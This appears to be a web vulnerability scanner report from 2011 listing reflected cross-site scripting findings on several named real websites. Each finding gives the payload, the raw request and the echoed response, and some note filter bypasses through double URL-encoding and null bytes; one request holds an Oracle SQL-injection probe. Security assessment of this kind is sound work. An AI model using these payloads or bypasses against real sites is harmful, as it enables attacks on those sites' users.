HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: ASP.NET_SessionId=w11nlueclbe1ry55ysywmpry; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8767 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.219. http://www.smartdraw.com/videos/demo/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/videos/demo/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 436c4"style%3d"x%3aexpression(alert(1))"7d96edb3e1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 436c4"style="x:expression(alert(1))"7d96edb3e1d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /videos/demo/x22?436c4"style%3d"x%3aexpression(alert(1))"7d96edb3e1d=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:42 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:42 GMT; path=/ Set-Cookie: ASP.NET_SessionId=sxjxsy55v4wrlmeet1lslx45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8809 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.220. http://www.smartdraw.com/videos/demo/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/videos/demo/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e581f"style%3d"x%3aexpression(alert(1))"3b6d10c18aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e581f"style="x:expression(alert(1))"3b6d10c18aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /videos/demo/x22?e581f"style%3d"x%3aexpression(alert(1))"3b6d10c18aa=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:40 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:40 GMT; path=/ Set-Cookie: ASP.NET_SessionId=qlfc4j452c3dom55lvonz145; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8809 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d4c3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522a464241924e was submitted in the REST URL parameter 1. This input was echoed as 2d4c3"style="x:expression(alert(1))"a464241924e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /x222d4c3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522a464241924e HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=xxiaal45scvt05rw0scrir55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8704 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bd6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b4a37af963a was submitted in the REST URL parameter 1. This input was echoed as 9bd6e"style="x:expression(alert(1))"b4a37af963a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /9bd6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b4a37af963a HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:52 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:52 GMT; path=/ Set-Cookie: ASP.NET_SessionId=s4s50qr0kvr4fhux3xpku555; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8683 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.223. http://www.smartdraw.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73ce3"style%3d"x%3aexpression(alert(1))"57e4b8b7737 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 73ce3"style="x:expression(alert(1))"57e4b8b7737 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /x22?73ce3"style%3d"x%3aexpression(alert(1))"57e4b8b7737=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:42 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:42 GMT; path=/ Set-Cookie: ASP.NET_SessionId=s4rkbbezripwlcr04310bhix; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8725 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.224. http://www.smartdraw.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db50c"style%3d"x%3aexpression(alert(1))"751e53b85e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as db50c"style="x:expression(alert(1))"751e53b85e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /x22?db50c"style%3d"x%3aexpression(alert(1))"751e53b85e=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:39 GMT Content-Length: 8718 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:39 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:39 GMT; path=/ Set-Cookie: ASP.NET_SessionId=f0nhyr451wf2n5ul5fkcv5fi; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:39 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c0ad"style%3d"x%3aexpression(alert(1))"f42279855ae was submitted in the url parameter. This input was echoed as 4c0ad"style="x:expression(alert(1))"f42279855ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /submit?url=http%3A%2F%2Fwww.veoh.com%2Fbrowse%2Fvideos%2Fcategory%2Faction_adventure%2Fwatch%2Fv18978294NGnK88j84c0ad"style%3d"x%3aexpression(alert(1))"f42279855ae&title=Magadheera+SmartDesis.TK.mp4 HTTP/1.1 Host: www.stumbleupon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the '"--></style></script><script>alert(0x000043)</script> request parameter is copied into the HTML document as plain text between tags. The payload 8e1ef<script>alert(1)</script>559c076520b was submitted in the '"--></style></script><script>alert(0x000043)</script> parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the _flowExecutionKey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b00e6"%3balert(1)//a43b114193b was submitted in the _flowExecutionKey parameter. This input was echoed as b00e6";alert(1)//a43b114193b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _flowExecutionKey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00354d0"%3bbf98880f27f was submitted in the _flowExecutionKey parameter. This input was echoed as 354d0";bf98880f27f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /spportal/spportalFlow.do?_flowExecutionKey=%27%7C%7C(utl_inaddr.get_host_address((select+chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(51)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97)+from+DUAL)))%7C%7C%27%00354d0"%3bbf98880f27f HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; trafficSource="SP198c8\"; CstrStatus=U; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; mbox=session#1296759528614-838261#1296761712|check#true#1296759912; s_cc=true; undefined_s=First%20Visit; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:07:54 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 20354
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<!-- UI framework designed and implemented by Advertiser Portal UI Team -->
<title>SuperPages ...[SNIP]... op7="Badly formatted flow execution key ''||(utl_inaddr.get_host_address((select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))||'.354d0";bf98880f27f', the expected format is '_c<conversationId> ...[SNIP]...
The value of the _flowId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00a5103"%3bb8f83f9f764 was submitted in the _flowId parameter. This input was echoed as a5103";b8f83f9f764 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /spportal/spportalFlow.do?fromPage=login&_flowId=loginact-flow%00a5103"%3bb8f83f9f764 HTTP/1.1 Host: www.supermedia.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=B97B42F53A51F0DBCC634E0E00A27A8F.app2-a1; trafficSource="SP198c8\"; CstrStatus=U; NSC_xxx-tvqfsnfejb-dpn=ffffffff9482139c45525d5f4f58455e445a4a423660; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; mbox=session#1296759528614-838261#1296763571|check#true#1296761771; s_cc=true; undefined_s=First%20Visit; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:47:13 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 22588
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<!-- UI framework designed and implemented by Advertiser Portal UI Team -->
<title>SuperPages ...[SNIP]... r=""; s.pageName=""; s.prop1="Processing Error Title"; s.prop2=""; s.prop3="Not Logged in"; s.prop4=""; s.prop5=""; s.prop6="General Exception"; s.prop7="No such flow definition with id 'loginact-flow.a5103";b8f83f9f764' found; the flows available are: array<String> ...[SNIP]...
1.230. https://www.supermedia.com/spportal/spportalFlow.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.supermedia.com
Path:
/spportal/spportalFlow.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39e64"%3balert(1)//5b99acdfcf8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 39e64";alert(1)//5b99acdfcf8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Unspecified Date: Thu, 03 Feb 2011 19:18:59 GMT Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Connection: close Content-Length: 20465
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en-US"> <head>
<!-- UI framework designed and implemented by Advertiser Portal UI Team -->
<title>SuperPages ...[SNIP]... nable to extract the flow definition id parameter: make sure the client provides the '_flowId' parameter as input or set the 'defaultFlowId' property; the parameters provided in this request are: map['39e64";alert(1)//5b99acdfcf8' -> ...[SNIP]...
1.231. http://www.superpages.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.superpages.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 631c1"><script>alert(1)</script>026bbe791e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?631c1"><script>alert(1)</script>026bbe791e4=1 HTTP/1.1 Host: www.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=7E88C67F7FFF85DD8CFB8379B82BF1F4; __unam=c5114f2-12dec4b1cc4-7f15d273-3; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; shopping=; s.campaign=comlocal1a;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:35:52 GMT Server: Unspecified Vary: Host Connection: close Content-Type: text/html; charset=utf-8 Set-Cookie: NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:50:52 GMT;path=/
1.232. http://www.superpages.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.superpages.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8f46'-alert(1)-'8e1de3e7335 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?a8f46'-alert(1)-'8e1de3e7335=1 HTTP/1.1 Host: www.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=7E88C67F7FFF85DD8CFB8379B82BF1F4; __unam=c5114f2-12dec4b1cc4-7f15d273-3; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; shopping=; s.campaign=comlocal1a;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:35:54 GMT Server: Unspecified Vary: Host Connection: close Content-Type: text/html; charset=utf-8 Set-Cookie: NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:50:54 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <a HREF="http://mapserver.superpages.com/mapbasedsearch/?spheader=true&L='+L_encoded+'&SRC=&a8f46'-alert(1)-'8e1de3e7335=1" rel="nofollow"> ...[SNIP]...
1.233. http://www.superpages.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.superpages.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload bd053--><script>alert(1)</script>e1950324e3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /?bd053--><script>alert(1)</script>e1950324e3f=1 HTTP/1.1 Host: www.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=7E88C67F7FFF85DD8CFB8379B82BF1F4; __unam=c5114f2-12dec4b1cc4-7f15d273-3; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; shopping=; s.campaign=comlocal1a;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:35:59 GMT Server: Unspecified Vary: Host Connection: close Content-Type: text/html; charset=utf-8 Set-Cookie: NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:50:59 GMT;path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <a href="?SRC=&bd053--><script>alert(1)</script>e1950324e3f=1#" rel="nofollow"> ...[SNIP]...
The value of the cg request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48986"%3balert(1)//3db88e4ace3 was submitted in the cg parameter. This input was echoed as 48986";alert(1)//3db88e4ace3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 19:19:13 GMT Server: Unspecified Vary: Host Connection: close Content-Type: application/javascript Set-Cookie: NSC_xxx-tvqfsqbhft-dpn-80=ffffffff948213d745525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:34:13 GMT;path=/
var IE = document.all?true:false if (!IE) document.captureEvents(Event.MOUSEMOVE) document.onmousemove = getMouseXY; var tempX = 0 var tempY = 0 function getMouseXY(e) { if (IE) { // grab the x-y po ...[SNIP]... <a target=\"_blank\" onclick=\"sp_soclink_click_track('')\" href=\"http://www.superpages.com/inc/social/sln.php?n=948986";alert(1)//3db88e4ace3&t="+ urlencode(document.title) +"&u="+ urlencode(location.href) +"&s=1\" title=\"\"> ...[SNIP]...
1.235. http://www.tucows.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.tucows.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2e8a"-alert(1)-"2f831598e8d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?e2e8a"-alert(1)-"2f831598e8d=1 HTTP/1.1 Host: www.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=66e77a2b3520b37c3a18eb4d9cb0964a; __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; __utmc=163973946; __utmb=163973946;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 21:28:24 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 66e77a2b3520b37c3a18eb4d9cb0964a=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 84400
